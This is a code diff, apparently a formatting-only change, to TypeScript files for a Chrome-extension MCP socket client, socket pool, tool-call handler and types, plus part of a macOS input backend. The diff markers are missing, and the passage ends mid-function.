let checkTimeoutId: NodeJS.Timeout | null = null
const timeout = setTimeout(() => {
if (checkTimeoutId) {
clearTimeout(checkTimeoutId);
clearTimeout(checkTimeoutId)
}
reject(
new SocketConnectionError(
`[${serverName}] Connection attempt timed out after 5000ms`,
),
);
}, 5000);
)
}, 5000)
const checkConnection = () => {
if (this.connected) {
clearTimeout(timeout);
resolve(true);
clearTimeout(timeout)
resolve(true)
} else {
checkTimeoutId = setTimeout(checkConnection, 500);
checkTimeoutId = setTimeout(checkConnection, 500)
}
};
checkConnection();
});
}
checkConnection()
})
}
private async sendRequest(
request: ToolRequest,
timeoutMs = 30000,
): Promise<ToolResponse> {
const { serverName } = this.context;
const { serverName } = this.context
if (!this.socket) {
throw new SocketConnectionError(
`[${serverName}] Cannot send request: not connected`,
);
)
}
const socket = this.socket;
const socket = this.socket
return new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
this.responseCallback = null;
this.responseCallback = null
reject(
new SocketConnectionError(
`[${serverName}] Tool request timed out after ${timeoutMs}ms`,
),
);
}, timeoutMs);
)
}, timeoutMs)
this.responseCallback = (response) => {
clearTimeout(timeout);
resolve(response);
};
this.responseCallback = response => {
clearTimeout(timeout)
resolve(response)
}
const requestJson = JSON.stringify(request);
const requestBytes = Buffer.from(requestJson, "utf-8");
const requestJson = JSON.stringify(request)
const requestBytes = Buffer.from(requestJson, 'utf-8')
const lengthPrefix = Buffer.allocUnsafe(4);
lengthPrefix.writeUInt32LE(requestBytes.length, 0);
const lengthPrefix = Buffer.allocUnsafe(4)
lengthPrefix.writeUInt32LE(requestBytes.length, 0)
const message = Buffer.concat([lengthPrefix, requestBytes]);
socket.write(message);
});
const message = Buffer.concat([lengthPrefix, requestBytes])
socket.write(message)
})
}
public async callTool(
@@ -330,15 +327,15 @@ class McpSocketClient {
_permissionOverrides?: PermissionOverrides,
): Promise<unknown> {
const request: ToolRequest = {
method: "execute_tool",
method: 'execute_tool',
params: {
client_id: this.context.clientTypeId,
tool: name,
args,
},
};
}
return this.sendRequestWithRetry(request);
return this.sendRequestWithRetry(request)
}
/**
@@ -349,23 +346,23 @@ class McpSocketClient {
* and retry once.
*/
private async sendRequestWithRetry(request: ToolRequest): Promise<unknown> {
const { serverName, logger } = this.context;
const { serverName, logger } = this.context
try {
return await this.sendRequest(request);
return await this.sendRequest(request)
} catch (error) {
if (!(error instanceof SocketConnectionError)) {
throw error;
throw error
}
logger.info(
`[${serverName}] Connection error, forcing reconnect and retrying: ${error.message}`,
);
)
this.closeSocket();
await this.ensureConnected();
this.closeSocket()
await this.ensureConnected()
return await this.sendRequest(request);
return await this.sendRequest(request)
}
}
@@ -377,109 +374,109 @@ class McpSocketClient {
}
public isConnected(): boolean {
return this.connected;
return this.connected
}
private closeSocket(): void {
if (this.socket) {
this.socket.removeAllListeners();
this.socket.end();
this.socket.destroy();
this.socket = null;
this.socket.removeAllListeners()
this.socket.end()
this.socket.destroy()
this.socket = null
}
this.connected = false;
this.connecting = false;
this.connected = false
this.connecting = false
}
private cleanup(): void {
if (this.reconnectTimer) {
clearTimeout(this.reconnectTimer);
this.reconnectTimer = null;
clearTimeout(this.reconnectTimer)
this.reconnectTimer = null
}
this.closeSocket();
this.reconnectAttempts = 0;
this.responseBuffer = Buffer.alloc(0);
this.responseCallback = null;
this.closeSocket()
this.reconnectAttempts = 0
this.responseBuffer = Buffer.alloc(0)
this.responseCallback = null
}
public disconnect(): void {
this.cleanup();
this.cleanup()
}
private async validateSocketSecurity(socketPath: string): Promise<void> {
const { serverName, logger } = this.context;
if (platform() === "win32") {
return;
const { serverName, logger } = this.context
if (platform() === 'win32') {
return
}
try {
// Validate the parent directory permissions if it's the socket directory
// (not /tmp itself, which has mode 1777 for legacy single-socket paths)
const dirPath = dirname(socketPath);
const dirBasename = dirPath.split("/").pop() || "";
const isSocketDir = dirBasename.startsWith("claude-mcp-browser-bridge-");
const dirPath = dirname(socketPath)
const dirBasename = dirPath.split('/').pop() || ''
const isSocketDir = dirBasename.startsWith('claude-mcp-browser-bridge-')
if (isSocketDir) {
try {
const dirStats = await fsPromises.stat(dirPath);
const dirStats = await fsPromises.stat(dirPath)
if (dirStats.isDirectory()) {
const dirMode = dirStats.mode & 0o777;
const dirMode = dirStats.mode & 0o777
if (dirMode !== 0o700) {
throw new Error(
`[${serverName}] Insecure socket directory permissions: ${dirMode.toString(
8,
)} (expected 0700). Directory may have been tampered with.`,
);
)
}
const currentUid = process.getuid?.();
const currentUid = process.getuid?.()
if (currentUid !== undefined && dirStats.uid !== currentUid) {
throw new Error(
`Socket directory not owned by current user (uid: ${currentUid}, dir uid: ${dirStats.uid}). ` +
`Potential security risk.`,
);
)
}
}
} catch (dirError) {
if ((dirError as NodeJS.ErrnoException).code !== "ENOENT") {
throw dirError;
if ((dirError as NodeJS.ErrnoException).code !== 'ENOENT') {
throw dirError
}
// Directory doesn't exist yet - native host will create it
}
}
const stats = await fsPromises.stat(socketPath);
const stats = await fsPromises.stat(socketPath)
if (!stats.isSocket()) {
throw new Error(
`[${serverName}] Path exists but it's not a socket: ${socketPath}`,
);
)
}
const mode = stats.mode & 0o777;
const mode = stats.mode & 0o777
if (mode !== 0o600) {
throw new Error(
`[${serverName}] Insecure socket permissions: ${mode.toString(
8,
)} (expected 0600). Socket may have been tampered with.`,
);
)
}
const currentUid = process.getuid?.();
const currentUid = process.getuid?.()
if (currentUid !== undefined && stats.uid !== currentUid) {
throw new Error(
`Socket not owned by current user (uid: ${currentUid}, socket uid: ${stats.uid}). ` +
`Potential security risk.`,
);
)
}
logger.info(`[${serverName}] Socket security validation passed`);
logger.info(`[${serverName}] Socket security validation passed`)
} catch (error) {
if ((error as NodeJS.ErrnoException).code === "ENOENT") {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
logger.info(
`[${serverName}] Socket not found, will be created by server`,
);
return;
)
return
}
throw error;
throw error
}
}
}
@@ -487,7 +484,7 @@ class McpSocketClient {
export function createMcpSocketClient(
context: ClaudeForChromeContext,
): McpSocketClient {
return new McpSocketClient(context);
return new McpSocketClient(context)
}
export type { McpSocketClient };
export type { McpSocketClient }

View File

@@ -1,13 +1,13 @@
import {
createMcpSocketClient,
SocketConnectionError,
} from "./mcpSocketClient.js";
import type { McpSocketClient } from "./mcpSocketClient.js";
} from './mcpSocketClient.js'
import type { McpSocketClient } from './mcpSocketClient.js'
import type {
ClaudeForChromeContext,
PermissionMode,
PermissionOverrides,
} from "./types.js";
} from './types.js'
/**
* Manages connections to multiple Chrome native host sockets (one per Chrome profile).
@@ -18,26 +18,29 @@ import type {
* built from tabs_context_mcp responses.
*/
export class McpSocketPool {
private clients: Map<string, McpSocketClient> = new Map();
private tabRoutes: Map<number, string> = new Map();
private context: ClaudeForChromeContext;
private clients: Map<string, McpSocketClient> = new Map()
private tabRoutes: Map<number, string> = new Map()
private context: ClaudeForChromeContext
private notificationHandler:
| ((notification: { method: string; params?: Record<string, unknown> }) => void)
| null = null;
| ((notification: {
method: string
params?: Record<string, unknown>
}) => void)
| null = null
constructor(context: ClaudeForChromeContext) {
this.context = context;
this.context = context
}
public setNotificationHandler(
handler: (notification: {
method: string;
params?: Record<string, unknown>;
method: string
params?: Record<string, unknown>
}) => void,
): void {
this.notificationHandler = handler;
this.notificationHandler = handler
for (const client of this.clients.values()) {
client.setNotificationHandler(handler);
client.setNotificationHandler(handler)
}
}
@@ -45,32 +48,30 @@ export class McpSocketPool {
* Discover available sockets and ensure at least one is connected.
*/
public async ensureConnected(): Promise<boolean> {
const { logger, serverName } = this.context;
const { logger, serverName } = this.context
this.refreshClients();
this.refreshClients()
// Try to connect any disconnected clients
const connectPromises: Promise<boolean>[] = [];
const connectPromises: Promise<boolean>[] = []
for (const client of this.clients.values()) {
if (!client.isConnected()) {
connectPromises.push(
client.ensureConnected().catch(() => false),
);
connectPromises.push(client.ensureConnected().catch(() => false))
}
}
if (connectPromises.length > 0) {
await Promise.all(connectPromises);
await Promise.all(connectPromises)
}
const connectedCount = this.getConnectedClients().length;
const connectedCount = this.getConnectedClients().length
if (connectedCount === 0) {
logger.info(`[${serverName}] No connected sockets in pool`);
return false;
logger.info(`[${serverName}] No connected sockets in pool`)
return false
}
logger.info(`[${serverName}] Socket pool: ${connectedCount} connected`);
return true;
logger.info(`[${serverName}] Socket pool: ${connectedCount} connected`)
return true
}
/**
@@ -82,57 +83,57 @@ export class McpSocketPool {
args: Record<string, unknown>,
_permissionOverrides?: PermissionOverrides,
): Promise<unknown> {
if (name === "tabs_context_mcp") {
return this.callTabsContext(args);
if (name === 'tabs_context_mcp') {
return this.callTabsContext(args)
}
// Route by tabId if present
const tabId = args.tabId as number | undefined;
const tabId = args.tabId as number | undefined
if (tabId !== undefined) {
const socketPath = this.tabRoutes.get(tabId);
const socketPath = this.tabRoutes.get(tabId)
if (socketPath) {
const client = this.clients.get(socketPath);
const client = this.clients.get(socketPath)
if (client?.isConnected()) {
return client.callTool(name, args);
return client.callTool(name, args)
}
}
// Tab route not found or client disconnected — fall through to any connected
}
// Fallback: use first connected client
const connected = this.getConnectedClients();
const connected = this.getConnectedClients()
if (connected.length === 0) {
throw new SocketConnectionError(
`[${this.context.serverName}] No connected sockets available`,
);
)
}
return connected[0]!.callTool(name, args);
return connected[0]!.callTool(name, args)
}
public async setPermissionMode(
mode: PermissionMode,
allowedDomains?: string[],
): Promise<void> {
const connected = this.getConnectedClients();
const connected = this.getConnectedClients()
await Promise.all(
connected.map((client) => client.setPermissionMode(mode, allowedDomains)),
);
connected.map(client => client.setPermissionMode(mode, allowedDomains)),
)
}
public isConnected(): boolean {
return this.getConnectedClients().length > 0;
return this.getConnectedClients().length > 0
}
public disconnect(): void {
for (const client of this.clients.values()) {
client.disconnect();
client.disconnect()
}
this.clients.clear();
this.tabRoutes.clear();
this.clients.clear()
this.tabRoutes.clear()
}
private getConnectedClients(): McpSocketClient[] {
return [...this.clients.values()].filter((c) => c.isConnected());
return [...this.clients.values()].filter(c => c.isConnected())
}
/**
@@ -142,173 +143,173 @@ export class McpSocketPool {
private async callTabsContext(
args: Record<string, unknown>,
): Promise<unknown> {
const { logger, serverName } = this.context;
const connected = this.getConnectedClients();
const { logger, serverName } = this.context
const connected = this.getConnectedClients()
if (connected.length === 0) {
throw new SocketConnectionError(
`[${serverName}] No connected sockets available`,
);
)
}
// If only one client, skip merging overhead
if (connected.length === 1) {
const result = await connected[0]!.callTool("tabs_context_mcp", args);
this.updateTabRoutes(result, this.getSocketPathForClient(connected[0]!));
return result;
const result = await connected[0]!.callTool('tabs_context_mcp', args)
this.updateTabRoutes(result, this.getSocketPathForClient(connected[0]!))
return result
}
// Query all connected clients in parallel
const results = await Promise.allSettled(
connected.map(async (client) => {
const result = await client.callTool("tabs_context_mcp", args);
const socketPath = this.getSocketPathForClient(client);
return { result, socketPath };
connected.map(async client => {
const result = await client.callTool('tabs_context_mcp', args)
const socketPath = this.getSocketPathForClient(client)
return { result, socketPath }
}),
);
)
// Merge tab results
const mergedTabs: unknown[] = [];
this.tabRoutes.clear();
const mergedTabs: unknown[] = []
this.tabRoutes.clear()
for (const settledResult of results) {
if (settledResult.status !== "fulfilled") {
if (settledResult.status !== 'fulfilled') {
logger.info(
`[${serverName}] tabs_context_mcp failed on one socket: ${settledResult.reason}`,
);
continue;
)
continue
}
const { result, socketPath } = settledResult.value;
this.updateTabRoutes(result, socketPath);
const { result, socketPath } = settledResult.value
this.updateTabRoutes(result, socketPath)
const tabs = this.extractTabs(result);
const tabs = this.extractTabs(result)
if (tabs) {
mergedTabs.push(...tabs);
mergedTabs.push(...tabs)
}
}
// Return merged result in the same format as the extension response
if (mergedTabs.length > 0) {
const tabListText = mergedTabs
.map((t) => {
const tab = t as { tabId: number; title: string; url: string };
return ` • tabId ${tab.tabId}: "${tab.title}" (${tab.url})`;
.map(t => {
const tab = t as { tabId: number; title: string; url: string }
return ` • tabId ${tab.tabId}: "${tab.title}" (${tab.url})`
})
.join("\n");
.join('\n')
return {
result: {
content: [
{
type: "text",
type: 'text',
text: JSON.stringify({ availableTabs: mergedTabs }),
},
{
type: "text",
type: 'text',
text: `\n\nTab Context:\n- Available tabs:\n${tabListText}`,
},
],
},
};
}
}
// Fallback: return first successful result as-is
for (const settledResult of results) {
if (settledResult.status === "fulfilled") {
return settledResult.value.result;
if (settledResult.status === 'fulfilled') {
return settledResult.value.result
}
}
throw new SocketConnectionError(
`[${serverName}] All sockets failed for tabs_context_mcp`,
);
)
}
/**
* Extract tab objects from a tool response to update routing table.
*/
private updateTabRoutes(result: unknown, socketPath: string): void {
const tabs = this.extractTabs(result);
if (!tabs) return;
const tabs = this.extractTabs(result)
if (!tabs) return
for (const tab of tabs) {
if (typeof tab === "object" && tab !== null && "tabId" in tab) {
const tabId = (tab as { tabId: number }).tabId;
this.tabRoutes.set(tabId, socketPath);
if (typeof tab === 'object' && tab !== null && 'tabId' in tab) {
const tabId = (tab as { tabId: number }).tabId
this.tabRoutes.set(tabId, socketPath)
}
}
}
private extractTabs(result: unknown): unknown[] | null {
if (!result || typeof result !== "object") return null;
if (!result || typeof result !== 'object') return null
// Response format: { result: { content: [{ type: "text", text: "{\"availableTabs\":[...],\"tabGroupId\":...}" }] } }
const asResponse = result as {
result?: { content?: Array<{ type: string; text?: string }> };
};
const content = asResponse.result?.content;
if (!content || !Array.isArray(content)) return null;
result?: { content?: Array<{ type: string; text?: string }> }
}
const content = asResponse.result?.content
if (!content || !Array.isArray(content)) return null
for (const item of content) {
if (item.type === "text" && item.text) {
if (item.type === 'text' && item.text) {
try {
const parsed = JSON.parse(item.text);
if (Array.isArray(parsed)) return parsed;
const parsed = JSON.parse(item.text)
if (Array.isArray(parsed)) return parsed
// Handle { availableTabs: [...] } format
if (parsed && Array.isArray(parsed.availableTabs)) {
return parsed.availableTabs;
return parsed.availableTabs
}
} catch {
// Not JSON, skip
}
}
}
return null;
return null
}
private getSocketPathForClient(client: McpSocketClient): string {
for (const [path, c] of this.clients.entries()) {
if (c === client) return path;
if (c === client) return path
}
return "";
return ''
}
/**
* Scan for available sockets and create/remove clients as needed.
*/
private refreshClients(): void {
const socketPaths = this.getAvailableSocketPaths();
const { logger, serverName } = this.context;
const socketPaths = this.getAvailableSocketPaths()
const { logger, serverName } = this.context
// Add new clients for newly discovered sockets
for (const path of socketPaths) {
if (!this.clients.has(path)) {
logger.info(`[${serverName}] Adding socket to pool: ${path}`);
logger.info(`[${serverName}] Adding socket to pool: ${path}`)
const clientContext: ClaudeForChromeContext = {
...this.context,
socketPath: path,
getSocketPath: undefined,
getSocketPaths: undefined,
};
const client = createMcpSocketClient(clientContext);
client.disableAutoReconnect = true;
if (this.notificationHandler) {
client.setNotificationHandler(this.notificationHandler);
}
this.clients.set(path, client);
const client = createMcpSocketClient(clientContext)
client.disableAutoReconnect = true
if (this.notificationHandler) {
client.setNotificationHandler(this.notificationHandler)
}
this.clients.set(path, client)
}
}
// Remove clients for sockets that no longer exist
for (const [path, client] of this.clients.entries()) {
if (!socketPaths.includes(path)) {
logger.info(`[${serverName}] Removing stale socket from pool: ${path}`);
client.disconnect();
this.clients.delete(path);
logger.info(`[${serverName}] Removing stale socket from pool: ${path}`)
client.disconnect()
this.clients.delete(path)
for (const [tabId, socketPath] of this.tabRoutes.entries()) {
if (socketPath === path) {
this.tabRoutes.delete(tabId);
this.tabRoutes.delete(tabId)
}
}
}
@@ -316,12 +317,12 @@ export class McpSocketPool {
}
private getAvailableSocketPaths(): string[] {
return this.context.getSocketPaths?.() ?? [];
return this.context.getSocketPaths?.() ?? []
}
}
export function createMcpSocketPool(
context: ClaudeForChromeContext,
): McpSocketPool {
return new McpSocketPool(context);
return new McpSocketPool(context)
}

View File

@@ -1,12 +1,12 @@
import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js";
import type { CallToolResult } from '@modelcontextprotocol/sdk/types.js'
import { SocketConnectionError } from "./mcpSocketClient.js";
import { SocketConnectionError } from './mcpSocketClient.js'
import type {
ClaudeForChromeContext,
PermissionMode,
PermissionOverrides,
SocketClient,
} from "./types.js";
} from './types.js'
export const handleToolCall = async (
context: ClaudeForChromeContext,
@@ -16,21 +16,21 @@ export const handleToolCall = async (
permissionOverrides?: PermissionOverrides,
): Promise<CallToolResult> => {
// Handle permission mode changes locally (not forwarded to extension)
if (name === "set_permission_mode") {
return handleSetPermissionMode(socketClient, args);
if (name === 'set_permission_mode') {
return handleSetPermissionMode(socketClient, args)
}
// Handle switch_browser outside the normal tool call flow (manages its own connection)
if (name === "switch_browser") {
return handleSwitchBrowser(context, socketClient);
if (name === 'switch_browser') {
return handleSwitchBrowser(context, socketClient)
}
try {
const isConnected = await socketClient.ensureConnected();
const isConnected = await socketClient.ensureConnected()
context.logger.silly(
`[${context.serverName}] Server is connected: ${isConnected}. Received tool call: ${name} with args: ${JSON.stringify(args)}.`,
);
)
if (isConnected) {
return await handleToolCallConnected(
@@ -39,28 +39,28 @@ export const handleToolCall = async (
name,
args,
permissionOverrides,
);
)
}
return handleToolCallDisconnected(context);
return handleToolCallDisconnected(context)
} catch (error) {
context.logger.info(`[${context.serverName}] Error calling tool:`, error);
context.logger.info(`[${context.serverName}] Error calling tool:`, error)
if (error instanceof SocketConnectionError) {
return handleToolCallDisconnected(context);
return handleToolCallDisconnected(context)
}
return {
content: [
{
type: "text",
type: 'text',
text: `Error calling tool, please try again. : ${error instanceof Error ? error.message : String(error)}`,
},
],
isError: true,
};
}
}
};
}
async function handleToolCallConnected(
context: ClaudeForChromeContext,
@@ -69,119 +69,119 @@ async function handleToolCallConnected(
args: Record<string, unknown>,
permissionOverrides?: PermissionOverrides,
): Promise<CallToolResult> {
const response = await socketClient.callTool(name, args, permissionOverrides);
const response = await socketClient.callTool(name, args, permissionOverrides)
context.logger.silly(
`[${context.serverName}] Received result from socket bridge: ${JSON.stringify(response)}`,
);
)
if (response === null || response === undefined) {
return {
content: [{ type: "text", text: "Tool execution completed" }],
};
content: [{ type: 'text', text: 'Tool execution completed' }],
}
}
// Response will have either result or error field
const { result, error } = response as {
result?: { content: unknown[] | string };
error?: { content: unknown[] | string };
};
result?: { content: unknown[] | string }
error?: { content: unknown[] | string }
}
// Determine which field has the content and whether it's an error
const contentData = error || result;
const isError = !!error;
const contentData = error || result
const isError = !!error
if (!contentData) {
return {
content: [{ type: "text", text: "Tool execution completed" }],
};
content: [{ type: 'text', text: 'Tool execution completed' }],
}
}
if (isError && isAuthenticationError(contentData.content)) {
context.onAuthenticationError();
context.onAuthenticationError()
}
const { content } = contentData;
const { content } = contentData
if (content && Array.isArray(content)) {
if (isError) {
return {
content: content.map((item: unknown) => {
if (typeof item === "object" && item !== null && "type" in item) {
return item;
if (typeof item === 'object' && item !== null && 'type' in item) {
return item
}
return { type: "text", text: String(item) };
return { type: 'text', text: String(item) }
}),
isError: true,
} as CallToolResult;
} as CallToolResult
}
const convertedContent = content.map((item: unknown) => {
if (
typeof item === "object" &&
typeof item === 'object' &&
item !== null &&
"type" in item &&
"source" in item
'type' in item &&
'source' in item
) {
const typedItem = item;
const typedItem = item
if (
typedItem.type === "image" &&
typeof typedItem.source === "object" &&
typedItem.type === 'image' &&
typeof typedItem.source === 'object' &&
typedItem.source !== null &&
"data" in typedItem.source
'data' in typedItem.source
) {
return {
type: "image",
type: 'image',
data: typedItem.source.data,
mimeType:
"media_type" in typedItem.source
? typedItem.source.media_type || "image/png"
: "image/png",
};
'media_type' in typedItem.source
? typedItem.source.media_type || 'image/png'
: 'image/png',
}
}
}
if (typeof item === "object" && item !== null && "type" in item) {
return item;
if (typeof item === 'object' && item !== null && 'type' in item) {
return item
}
return { type: "text", text: String(item) };
});
return { type: 'text', text: String(item) }
})
return {
content: convertedContent,
isError,
} as CallToolResult;
} as CallToolResult
}
// Handle string content
if (typeof content === "string") {
if (typeof content === 'string') {
return {
content: [{ type: "text", text: content }],
content: [{ type: 'text', text: content }],
isError,
} as CallToolResult;
} as CallToolResult
}
// Fallback for unexpected result format
context.logger.warn(
`[${context.serverName}] Unexpected result format from socket bridge`,
response,
);
)
return {
content: [{ type: "text", text: JSON.stringify(response) }],
content: [{ type: 'text', text: JSON.stringify(response) }],
isError,
};
}
}
function handleToolCallDisconnected(
context: ClaudeForChromeContext,
): CallToolResult {
const text = context.onToolCallDisconnected();
const text = context.onToolCallDisconnected()
return {
content: [{ type: "text", text }],
};
content: [{ type: 'text', text }],
}
}
/**
@@ -194,28 +194,28 @@ async function handleSetPermissionMode(
): Promise<CallToolResult> {
// Validate permission mode at runtime
const validModes = [
"ask",
"skip_all_permission_checks",
"follow_a_plan",
] as const;
const mode = args.mode as string | undefined;
'ask',
'skip_all_permission_checks',
'follow_a_plan',
] as const
const mode = args.mode as string | undefined
const permissionMode: PermissionMode =
mode && validModes.includes(mode as PermissionMode)
? (mode as PermissionMode)
: "ask";
: 'ask'
if (socketClient.setPermissionMode) {
await socketClient.setPermissionMode(
permissionMode,
args.allowed_domains as string[] | undefined,
);
)
}
return {
content: [
{ type: "text", text: `Permission mode set to: ${permissionMode}` },
{ type: 'text', text: `Permission mode set to: ${permissionMode}` },
],
};
}
}
/**
@@ -230,50 +230,50 @@ async function handleSwitchBrowser(
return {
content: [
{
type: "text",
text: "Browser switching is only available with bridge connections.",
type: 'text',
text: 'Browser switching is only available with bridge connections.',
},
],
isError: true,
};
}
}
const isConnected = await socketClient.ensureConnected();
const isConnected = await socketClient.ensureConnected()
if (!isConnected) {
return handleToolCallDisconnected(context);
return handleToolCallDisconnected(context)
}
const result = (await socketClient.switchBrowser?.()) ?? null;
const result = (await socketClient.switchBrowser?.()) ?? null
if (result === "no_other_browsers") {
if (result === 'no_other_browsers') {
return {
content: [
{
type: "text",
text: "No other browsers available to switch to. Open Chrome with the Claude extension in another browser to switch.",
type: 'text',
text: 'No other browsers available to switch to. Open Chrome with the Claude extension in another browser to switch.',
},
],
isError: true,
};
}
}
if (result) {
return {
content: [
{ type: "text", text: `Connected to browser "${result.name}".` },
{ type: 'text', text: `Connected to browser "${result.name}".` },
],
};
}
}
return {
content: [
{
type: "text",
text: "No browser responded within the timeout. Make sure Chrome is open with the Claude extension installed, then try again.",
type: 'text',
text: 'No browser responded within the timeout. Make sure Chrome is open with the Claude extension installed, then try again.',
},
],
isError: true,
};
}
}
/**
@@ -282,20 +282,20 @@ async function handleSwitchBrowser(
function isAuthenticationError(content: unknown[] | string): boolean {
const errorText = Array.isArray(content)
? content
.map((item) => {
if (typeof item === "string") return item;
.map(item => {
if (typeof item === 'string') return item
if (
typeof item === "object" &&
typeof item === 'object' &&
item !== null &&
"text" in item &&
typeof item.text === "string"
'text' in item &&
typeof item.text === 'string'
) {
return item.text;
return item.text
}
return "";
return ''
})
.join(" ")
: String(content);
.join(' ')
: String(content)
return errorText.toLowerCase().includes("re-authenticated");
return errorText.toLowerCase().includes('re-authenticated')
}

View File

@@ -1,64 +1,64 @@
export interface Logger {
info: (message: string, ...args: unknown[]) => void;
error: (message: string, ...args: unknown[]) => void;
warn: (message: string, ...args: unknown[]) => void;
debug: (message: string, ...args: unknown[]) => void;
silly: (message: string, ...args: unknown[]) => void;
info: (message: string, ...args: unknown[]) => void
error: (message: string, ...args: unknown[]) => void
warn: (message: string, ...args: unknown[]) => void
debug: (message: string, ...args: unknown[]) => void
silly: (message: string, ...args: unknown[]) => void
}
export type PermissionMode =
| "ask"
| "skip_all_permission_checks"
| "follow_a_plan";
| 'ask'
| 'skip_all_permission_checks'
| 'follow_a_plan'
export interface BridgeConfig {
/** Bridge WebSocket base URL (e.g., wss://bridge.claudeusercontent.com) */
url: string;
url: string
/** Returns the user's account UUID for the connection path */
getUserId: () => Promise<string | undefined>;
getUserId: () => Promise<string | undefined>
/** Returns a valid OAuth token for bridge authentication */
getOAuthToken: () => Promise<string | undefined>;
getOAuthToken: () => Promise<string | undefined>
/** Optional dev user ID for local development (bypasses OAuth) */
devUserId?: string;
devUserId?: string
}
/** Metadata about a connected Chrome extension instance. */
export interface ChromeExtensionInfo {
deviceId: string;
osPlatform?: string;
connectedAt: number;
name?: string;
deviceId: string
osPlatform?: string
connectedAt: number
name?: string
}
export interface ClaudeForChromeContext {
serverName: string;
logger: Logger;
socketPath: string;
serverName: string
logger: Logger
socketPath: string
// Optional dynamic resolver for socket path. When provided, called on each
// connection attempt to handle runtime conditions (e.g., TMPDIR mismatch).
getSocketPath?: () => string;
getSocketPath?: () => string
// Optional resolver returning all available socket paths (for multi-profile support).
// When provided, a socket pool connects to all sockets and routes by tab ID.
getSocketPaths?: () => string[];
clientTypeId: string; // "desktop" | "claude-code"
onToolCallDisconnected: () => string;
onAuthenticationError: () => void;
isDisabled?: () => boolean;
getSocketPaths?: () => string[]
clientTypeId: string // "desktop" | "claude-code"
onToolCallDisconnected: () => string
onAuthenticationError: () => void
isDisabled?: () => boolean
/** Bridge WebSocket configuration. When provided, uses bridge instead of socket. */
bridgeConfig?: BridgeConfig;
bridgeConfig?: BridgeConfig
/** If set, permission mode is sent to the extension immediately on bridge connection. */
initialPermissionMode?: PermissionMode;
initialPermissionMode?: PermissionMode
/** Optional callback to track telemetry events for bridge connections */
trackEvent?: <K extends string>(
eventName: K,
metadata: Record<string, unknown> | null,
) => void;
) => void
/** Called when user pairs with an extension via the browser pairing flow. */
onExtensionPaired?: (deviceId: string, name: string) => void;
onExtensionPaired?: (deviceId: string, name: string) => void
/** Returns the previously paired deviceId, if any. */
getPersistedDeviceId?: () => string | undefined;
getPersistedDeviceId?: () => string | undefined
/** Called when a remote extension is auto-selected (only option available). */
onRemoteExtensionWarning?: (ext: ChromeExtensionInfo) => void;
onRemoteExtensionWarning?: (ext: ChromeExtensionInfo) => void
}
/**
@@ -66,69 +66,69 @@ export interface ClaudeForChromeContext {
* via navigator.userAgentData.platform.
*/
export function localPlatformLabel(): string {
return process.platform === "darwin"
? "macOS"
: process.platform === "win32"
? "Windows"
: "Linux";
return process.platform === 'darwin'
? 'macOS'
: process.platform === 'win32'
? 'Windows'
: 'Linux'
}
/** Permission request forwarded from the extension to the desktop for user approval. */
export interface BridgePermissionRequest {
/** Links to the pending tool_call */
toolUseId: string;
toolUseId: string
/** Unique ID for this permission request */
requestId: string;
requestId: string
/** Tool type, e.g. "navigate", "click", "execute_javascript" */
toolType: string;
toolType: string
/** The URL/domain context */
url: string;
url: string
/** Additional action data (click coordinates, text, etc.) */
actionData?: Record<string, unknown>;
actionData?: Record<string, unknown>
}
/** Desktop response to a bridge permission request. */
export interface BridgePermissionResponse {
requestId: string;
allowed: boolean;
requestId: string
allowed: boolean
}
/** Per-call permission overrides, allowing each session to use its own permission state. */
export interface PermissionOverrides {
permissionMode: PermissionMode;
allowedDomains?: string[];
permissionMode: PermissionMode
allowedDomains?: string[]
/** Callback invoked when the extension requests user permission via the bridge. */
onPermissionRequest?: (request: BridgePermissionRequest) => Promise<boolean>;
onPermissionRequest?: (request: BridgePermissionRequest) => Promise<boolean>
}
/** Shared interface for McpSocketClient and McpSocketPool */
export interface SocketClient {
ensureConnected(): Promise<boolean>;
ensureConnected(): Promise<boolean>
callTool(
name: string,
args: Record<string, unknown>,
permissionOverrides?: PermissionOverrides,
): Promise<unknown>;
isConnected(): boolean;
disconnect(): void;
): Promise<unknown>
isConnected(): boolean
disconnect(): void
setNotificationHandler(
handler: (notification: {
method: string;
params?: Record<string, unknown>;
method: string
params?: Record<string, unknown>
}) => void,
): void;
): void
/** Set permission mode for the current session. Only effective on BridgeClient. */
setPermissionMode?(
mode: PermissionMode,
allowedDomains?: string[],
): Promise<void>;
): Promise<void>
/** Switch to a different browser. Only available on BridgeClient. */
switchBrowser?(): Promise<
| {
deviceId: string;
name: string;
deviceId: string
name: string
}
| "no_other_browsers"
| 'no_other_browsers'
| null
>;
>
}

View File

@@ -1,7 +1,7 @@
{
"name": "@ant/computer-use-input",
"version": "1.0.0",
"private": true,
"main": "./src/index.ts",
"types": "./src/index.ts"
"name": "@ant/computer-use-input",
"version": "1.0.0",
"private": true,
"main": "./src/index.ts",
"types": "./src/index.ts"
}

View File

@@ -12,19 +12,46 @@ import type { FrontmostAppInfo, InputBackend } from '../types.js'
const execFileAsync = promisify(execFile)
const KEY_MAP: Record<string, number> = {
return: 36, enter: 36, tab: 48, space: 49, delete: 51, backspace: 51,
escape: 53, esc: 53,
left: 123, right: 124, down: 125, up: 126,
f1: 122, f2: 120, f3: 99, f4: 118, f5: 96, f6: 97,
f7: 98, f8: 100, f9: 101, f10: 109, f11: 103, f12: 111,
home: 115, end: 119, pageup: 116, pagedown: 121,
return: 36,
enter: 36,
tab: 48,
space: 49,
delete: 51,
backspace: 51,
escape: 53,
esc: 53,
left: 123,
right: 124,
down: 125,
up: 126,
f1: 122,
f2: 120,
f3: 99,
f4: 118,
f5: 96,
f6: 97,
f7: 98,
f8: 100,
f9: 101,
f10: 109,
f11: 103,
f12: 111,
home: 115,
end: 119,
pageup: 116,
pagedown: 121,
}
const MODIFIER_MAP: Record<string, string> = {
command: 'command down', cmd: 'command down', meta: 'command down', super: 'command down',
command: 'command down',
cmd: 'command down',
meta: 'command down',
super: 'command down',
shift: 'shift down',
option: 'option down', alt: 'option down',
control: 'control down', ctrl: 'control down',
option: 'option down',
alt: 'option down',
control: 'control down',
ctrl: 'control down',
}
async function osascript(script: string): Promise<string> {
@@ -35,13 +62,23 @@ async function osascript(script: string): Promise<string> {
}
async function jxa(script: string): Promise<string> {
const { stdout } = await execFileAsync('osascript', ['-l', 'JavaScript', '-e', script], {
encoding: 'utf-8',
})
const { stdout } = await execFileAsync(
'osascript',
['-l', 'JavaScript', '-e', script],
{
encoding: 'utf-8',
},
)
return stdout.trim()
}
function buildMouseJxa(eventType: string, x: number, y: number, btn: number, clickState?: number): string {
